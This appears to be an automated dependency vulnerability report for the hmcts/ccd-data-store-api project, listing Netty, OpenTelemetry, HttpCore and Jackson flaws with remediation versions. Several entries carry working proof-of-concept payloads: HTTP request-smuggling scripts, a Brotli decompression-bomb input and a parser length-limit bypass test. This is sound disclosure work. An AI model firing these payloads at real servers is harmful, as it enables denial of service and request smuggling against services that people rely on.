Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enqueueMethod() method of HttpServerCodec, which packs the first 32 pipelined HTTP methods into a single long and then appends every further entry to the methodOverflowQueue ArrayDeque<Byte> with no size check. An attacker can exhaust the heap by pipelining a large number of minimal requests such as GET / HTTP/1.1\r\nHost: x\r\n\r\n on a single connection, with the growth coming from the codec's own per-connection bookkeeping rather than from buffered bodies. This requires the attacker to hold the connection open while withholding socket reads, so back pressure leaves responses unflushed and the decoder runs ahead of them, accumulating entries.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.138.Final, 4.2.18.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.
PoC
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.
PoC
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.
PoC
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.Final
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SslClientHelloHandler.decode() function. An attacker can cause excessive memory allocation by sending a specially crafted TLS handshake with a large handshake length value, leading to resource exhaustion and potential denial of service.
Remediation
Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.Final
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch through the OpenSSL client path in ReferenceCountedOpenSslClientContext and related OpenSSL SSL context handling. An attacker can present a certificate for a different hostname and have the connection accepted by a client using SslProvider.OPENSSL with a plain X509TrustManager. When hostname verification is requested on that OpenSSL client path, the connection proceeds without enforcing the peer hostname check, allowing man-in-the-middle interception of TLS traffic. This affects applications that rely on Netty’s OpenSSL provider for outbound TLS connections and leaves users exposed to impersonation and data disclosure.
Remediation
Upgrade io.netty:netty-handler to version 4.1.137.Final, 4.2.17.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.Final
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in engineGetTrustManagers() and related methods. An attacker can intercept network traffic by providing a malicious X509TrustManager, which bypasses hostname verification during TLS connections.
Remediation
Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
- Vulnerable module: io.opentelemetry:opentelemetry-api
- Introduced through: io.opentelemetry:opentelemetry-api@opentelemetryVersion
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.opentelemetry:opentelemetry-api@opentelemetryVersionRemediation: Upgrade to io.opentelemetry:opentelemetry-api@1.62.0.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the W3CBaggagePropagator() function. An attacker can cause excessive memory allocation and CPU consumption by sending oversized baggage data, which is automatically re-injected into every outgoing request and can impact downstream services.
Remediation
Upgrade io.opentelemetry:opentelemetry-api to version 1.62.0 or higher.
References
high severity
- Vulnerable module: org.apache.httpcomponents.core5:httpcore5-h2
- Introduced through: org.apache.httpcomponents.core5:httpcore5-h2@httpcore5Version
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.apache.httpcomponents.core5:httpcore5-h2@httpcore5VersionRemediation: Upgrade to org.apache.httpcomponents.core5:httpcore5-h2@5.3.5.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) due to incorrect stream accounting in the handling of server-sent stream resets. An attacker can cause excessive server resource consumption by rapidly opening streams and triggering resets using malformed frames or flow control errors, resulting in the server processing an unbounded number of concurrent streams on a single connection.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.3.5 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-core
- Introduced through: tools.jackson.core:jackson-core@jackson3Version
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-core@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-core@3.1.0.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-core
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-core@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-core@3.1.1.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.
Remediation
Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-core
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-core@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-core@3.1.4.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.
Remediation
Upgrade tools.jackson.core:jackson-core to version 3.1.4 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-core
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-core@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-core@3.1.7.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.
Remediation
Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.3 or higher.
References
high severity
new
- Vulnerable module: tools.jackson.core:jackson-core
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-core@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-core@3.1.6.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) due to delayed enforcement of maximum property name length in the ReaderBasedJsonParser process. An attacker can exhaust system memory and cause a crash by submitting a JSON object with an excessively long property name via character-based input sources such as String, Reader, or char[]. This is only exploitable if untrusted JSON is parsed from character-based sources rather than raw UTF-8 bytes.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade tools.jackson.core:jackson-core to version 3.1.6, 3.2.2 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.6.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.7.
Overview
